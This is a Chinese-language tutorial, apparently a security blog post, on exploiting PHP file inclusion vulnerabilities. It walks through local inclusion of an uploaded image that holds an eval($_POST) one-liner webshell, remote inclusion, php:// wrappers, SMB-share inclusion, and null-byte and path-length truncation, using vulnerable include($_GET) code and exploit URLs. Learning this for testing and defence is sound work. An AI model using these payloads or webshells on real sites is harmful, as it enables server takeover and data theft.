0x00前言:
本篇介绍的是文件包含漏洞,这也是属于一种非常常见的漏洞类型。产生的原因是传入的文件名没有经过合理的校验,从而让黑客包含了精心构造的文件最终造成的代码注入。所以一套源码快速发掘并利用文件包含getshell
是这篇要讨论的,主要分为危险函数、本地文件包含、远程文件包含和截断技巧四方面展开。
0x01 危险函数:
include()
include_once()
require()
require_once()
0x02 文件包含漏洞的脑图:
0x03 本地文件包含 :
本地文件包含漏洞常用的场景是用户上传头像image.jpg
,image.jpg
里存在PHP
一句话木马,然后我们利用本地文件包含将image.jpg
加载进来即可执行一句话命令从而getshell
。
缺陷代码如下:
fileinclude.php
代码:
<?php include($_GET['action']);?>
image.jpg
代码:
<?php echo phpinfo();?>
程序本意是获取action
并引入action
里的功能函数,这里我们上传了头像image.jpg
,然后包含进来发现在页面显示了phpinfo
的信息:
那么这里上传的头像image.jpg
代码改为一句话木马:
<?php eval($_POST[test]);?>
使用菜刀成功getshell
:
0x04 远程文件包含 :
1.普通远程文件包含
条件:allow_url_include=on
(默认off
)、allow_url_fopen=on
缺陷代码:
fileinclude.php
代码:
<?php include($_GET['action']);?>
然后我们浏览器输入:
http://localhost/fileinclude.php?action=http://*.*.*.*/test.txt
其中http://*.*.*.*/test.txt
是我自己的服务器,里面的test.txt
内容如下:
<?php echo phpinfo();?>
当然也可以包含一句话木马进一步getshell
。
2.有限制远程文件包含
条件:allow_url_include=on
伪协议php://input
和php://filter
包含
测试发现可以继续愉快的包含了
3.包含共享文件
这种情况是你可以传到文件到内网某台服务器192.168.1.102,假如这台服务器是ftp是开了共享的就可以通过下面方法进行包含:
http://localhost/fileinclude.php?action=\\192.168.1.102\share\test.txt
0x05 截断技巧 :
1.PHP
%00
截断
截断条件:
1)PHP
版本小于5.3.4
,详情请查看 [CVE-2006-7243]
2)magic_quotes_gpc=Off
,否则%00
这种空字符会被转义为\0
搭建好满足上面两个条件的测试环境后,可以用下面的漏洞代码来测试:
fileinclude.php
代码:
<?php include($_GET['action'].".jpg"); ?>
image.jpg
代码:
<?php echo phpinfo();?>
不同之处是这里后面强制加了jpg的后缀,所以需要通过截断的技巧来继续包含
2.多个./
截断
截断条件:PHP
版本小于5.3
Windows
用240
个.
或者./
可以截断
测试240
个点截断成功如下图:
Linux
用2038
个/.
可以截断,自行搭建环境测试吧~
若你觉得我的文章对你有帮助,欢迎点击上方按钮对我打赏
扫描二维码,分享此文章